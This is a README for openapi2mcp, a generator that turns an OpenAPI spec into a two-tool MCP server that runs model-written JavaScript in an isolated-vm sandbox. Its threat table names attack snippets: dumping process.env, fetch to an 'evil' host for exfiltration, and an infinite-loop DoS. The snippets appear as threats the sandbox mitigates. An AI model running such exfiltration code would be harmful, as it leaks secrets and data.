Turn any OpenAPI spec into a token-efficient MCP server —
the entire API through two tools, no matter how big it is.
⚠️ Work in progress. This project is early and actively evolving — the API, generated output, and configuration may change without notice. Not production-ready. Expect rough edges; ideas and PRs welcome (see CONTRIBUTING.md).
openapi2mcp generates a standalone, Dockerizable MCP server that exposes a whole
REST API via just search and execute, following the
Code Mode pattern popularized by
Cloudflare. The model writes a little JavaScript; the server runs it safely. The
result: a fixed ~1–2k token footprint that never grows with your API.
your OpenAPI spec ──► openapi2mcp ──► a runnable MCP server (2 tools, ~1–2k tokens)
Every endpoint you expose as a normal MCP tool fills the model's context window. For a large API this breaks entirely:
| Approach | Tools | Tokens (200k context) |
|---|---|---|
| Raw spec in prompt | — | ~2,000,000 (977%) |
| Native MCP — full schemas | 2,500 | 1,170,000 (585% ❌) |
| Native MCP — minimal schemas | 2,500 | 244,000 (122%) |
| Code Mode — this project | 2 | ~1,200 (0.5% ✅) |
Code Mode inverts the model: instead of picking from thousands of fixed tools, the agent writes code that says what it wants, and the server executes it.
git clone https://github.com/dspachos/openapi2mcp.git openapi2mcp && cd openapi2mcp
npm install
# Generate a server from the canonical Petstore spec (no creds needed)
npm run example
# Run it
cd generated/petstore-mcp && npm install && npm start # → http://localhost:8787/mcpConnect any MCP client:
{
"mcpServers": {
"petstore": { "type": "http", "url": "http://localhost:8787/mcp" }
}
}Then just ask your agent: "find the endpoints for managing orders, then list the
stored orders." It will search the spec, then execute the calls.
┌──────────┐ tools/call(search) ┌────────────────────────┐
│ │ ─────────────────────► │ Generated MCP server │
│ Agent │ tools/call(execute) │ ┌──────────────────┐ │
│ (LLM) │ ◄───────────────────── │ │ sandbox │ │
│ │ results only │ │ (isolated-vm) │ │
│ │ (the spec never │ │ • no fs / env │ │
│ │ reaches the agent) │ │ • no free fetch │ │
└──────────┘ │ └────────┬─────────┘ │
│ │ api.request │
│ ┌────────▼─────────┐ │
│ │ host process │ │
│ │ • injects auth │───► your API
│ │ • host allow- │ │
│ │ list (fetch) │ │
│ └──────────────────┘ │
└────────────────────────┘
search({ code })— read-only JavaScript over the resolved OpenAPI spec (spec.paths). The agent discovers the endpoints it needs; the full spec never enters its context.execute({ code })— JavaScript that callsapi.request({ method, path, query, body })to hit the API, compose calls, paginate, filter results, and return just what's needed.
This tool executes model-authored code at runtime, so the sandbox is the whole
game. Each generated server runs untrusted code in a hardened
isolated-vm V8 isolate — not Node's
vm module, which is not a security boundary.
| Threat | Mitigation |
|---|---|
Secret exfiltration (JSON.stringify(process.env)) |
No process, require, or env access inside the isolate |
Data exfiltration (fetch('https://evil/…')) |
No fetch; api.request is the only network primitive, locked to your API base URL |
| Token leakage | The API secret is injected by the host and is never visible to sandboxed code |
DoS (while(true){} / memory bombs) |
Per-call memory limit + wall-clock timeout; a fresh isolate per call |
At generation time only — zero LLM cost per request. If you provide an
OpenAI-compatible endpoint, the generator analyzes your spec and writes tailored
search/execute descriptions, grounded examples using real API paths, and
notes on response envelopes / pagination / auth quirks. If unavailable, it falls
back to deterministic descriptions. Disable with --no-ai.
Works with any OpenAI-compatible provider — OpenAI, Azure, OpenRouter, LiteLLM, Ollama, a local gateway, etc.:
export OPENAI_API_KEY=sk-...
export OPENAI_BASE_URL=https://api.openai.com/v1 # or your gatewayFor multi-user deployments, generate with --oauth and the server becomes its own
OAuth 2.1 authorization server (the model Cloudflare uses):
openapi2mcp generate --spec ... --oauth --auth bearer --auth-env API_TOKENEach end-user then authorizes via a browser consent flow instead of sharing one baked-in token:
- The MCP client hits
/mcpunauthenticated →401+ Protected Resource Metadata. - It discovers
/.well-known/oauth-authorization-server, registers a client (/register— Dynamic Client Registration), and runs authorization-code + PKCE (S256). - The consent page asks the user for their upstream API token and which
scopes to grant. Scopes are derived from the spec automatically —
<product>:<read|write>, e.g.orders:read,billing:write. - The server issues a short-lived RS256 JWT access token + refresh token, storing the user's upstream token server-side (it never enters the sandbox).
- On every
executethe granted scopes are enforced — the agent cannot call operations the user didn't approve.
Endpoints: /.well-known/oauth-protected-resource,
/.well-known/oauth-authorization-server (RFC 8414), /authorize, /token,
/register, /revoke, /jwks.
⚠️ Security notes. Access tokens are signed by a per-process key (restart invalidates them; refresh tokens survive). The token store is in-memory / single-instance — swap in Redis/KV/Postgres for multi-instance. The paste-token consent model trusts the resource owner to paste into a flow they initiated. This is a focused MCP subset — security review recommended before production.
npx tsx src/index.ts generate \
--spec https://api.example.com/openapi.json \
--name example \
--base-url https://api.example.com \
--auth bearer --auth-env EXAMPLE_API_TOKEN \
--out ./generated/example-mcp| Flag | Purpose |
|---|---|
--spec <url|file> |
OpenAPI spec (required) |
--name <name> |
server / output name (required) |
--out <dir> |
output dir (default ./generated/<name>-mcp) |
--base-url <url> |
target API base URL (else spec servers, or spec URL origin) |
--base-url-env <VAR> |
env var to read the base URL at runtime (preferred) |
--auth bearer|apikey|none |
auth scheme (default: auto-detect from securitySchemes) |
--auth-env <VAR> |
env var holding the target API secret (default API_TOKEN) |
--auth-header <name> |
header for apikey auth (default X-Api-Key) |
--oauth |
enable OAuth 2.1 authorization-server mode (per-user, downscoped tokens) |
--no-ai |
skip AI augmentation |
--llm-base-url <url> |
LLM base (default $OPENAI_BASE_URL) |
--llm-api-key <key> |
LLM key (default $OPENAI_API_KEY) |
--llm-model <id> |
model id (default: auto-detect via /v1/models) |
<name>-mcp/
├── spec.json # resolved, trimmed OpenAPI spec (for the search tool)
├── meta.json # auth, base URL, AI-generated descriptions & examples
├── package.json
├── Dockerfile
└── src/
├── index.ts # MCP server + streamable HTTP transport
├── sandbox.ts # isolated-vm runner (the security boundary)
├── search.ts # search tool (read-only over the spec)
└── execute.ts # execute tool (locked-down api.request)
cd generated/example-mcp
cp .env.example .env # set base URL + secret + PORT
npm install && npm start # → http://0.0.0.0:8787/mcpDocker:
docker build -t example-mcp .
docker run -p 8787:8787 \
-e BASE_URL=https://api.example.com \
-e API_TOKEN=secret \
example-mcpThe runtime is fixed code — only spec.json and meta.json vary per API. It
runs on plain Node + Docker (no Cloudflare Workers dependency; isolated-vm
replaces their Dynamic Worker Loader).
openapi2mcp/
├── src/ # the generator
│ ├── spec/ # fetch · $ref resolver · spec trimmer
│ ├── analyze.ts # detect base URL + auth scheme
│ ├── ai.ts # optional AI augmentation (OpenAI-compatible)
│ ├── emit.ts # scaffold from template/ + inject spec.json/meta.json
│ └── generator.ts # orchestration
└── template/ # the runtime, copied verbatim into every generated server
| Approach | Token cost | Scales to huge APIs | Sandbox needed | Agent-side changes |
|---|---|---|---|---|
| Native MCP (one tool / endpoint) | high (grows with API) | ❌ | no | none |
| CLI-per-server (progressive disclosure) | low | ✅ | shell (larger surface) | needs a shell |
| Dynamic tool search | medium | no | needs a search fn | |
| openapi2mcp (Code Mode) | ~1–2k fixed | ✅ | isolated-vm | none |
Contributions welcome — see CONTRIBUTING.md for setup, where things live, and PR conventions.
- OAuth 2.1 per-user, downscoped authorization-server mode ✅
- Durable / multi-instance token store (Redis, KV, Postgres) + persisted signing key
- B1 path: delegated upstream OAuth (GitHub/Google-style refresh-token storage)
- Streaming / chunked responses for large payloads
- Heuristic response-envelope + pagination auto-handling
- Published as an
npx-able npm package - Tests across more OpenAPI edge cases (Swagger 2.0,
allOf/oneOf, webhooks)
Inspired by Cloudflare's Code Mode and Anthropic's Code Execution with MCP. Security is built on isolated-vm by Karl Miller. MCP via the official Model Context Protocol SDK.